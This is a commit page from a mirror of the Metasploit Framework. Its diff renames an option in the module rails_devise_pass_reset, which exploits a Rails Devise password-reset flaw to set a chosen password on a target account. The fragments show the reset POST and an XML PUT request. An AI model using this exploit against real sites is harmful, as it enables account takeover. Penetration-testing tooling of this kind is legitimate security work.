infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

/URIPATH/TARGETURI/g

bug/bundler_fix
Jeff Jarmoc 2013-02-12 14:50:10 -06:00
parent c7719bf4cb
commit c6a7a4e68d
1 changed files with 3 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

6
modules/auxiliary/admin/http/rails_devise_pass_reset.rb
View File

@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
OptString.new('URIPATH', [ true, "The request URI", '/users/password']),
OptString.new('TARGETURI', [ true, "The request URI", '/users/password']),
OptString.new('TARGETEMAIL', [true, "The email address of target account"]),
OptString.new('PASSWORD', [true, 'The password to set']),
OptBool.new('FLUSHTOKENS', [ true, 'Flush existing reset tokens before trying', true]),
@ -63,7 +63,7 @@ class Metasploit3 < Msf::Auxiliary
postdata="user[email]=#{account}"
res = send_request_cgi({
'uri' => datastore['URIPATH'],
'uri' => datastore['TARGETURI'],
'method' => 'POST',
'data' => postdata,
})
@ -107,7 +107,7 @@ class Metasploit3 < Msf::Auxiliary
xml << "</user>"
res = send_request_cgi({
'uri' => datastore['URIPATH'] || "/",
'uri' => datastore['TARGETURI'] || "/",
'method' => 'PUT',
'ctype' => 'application/xml',
'data' => xml,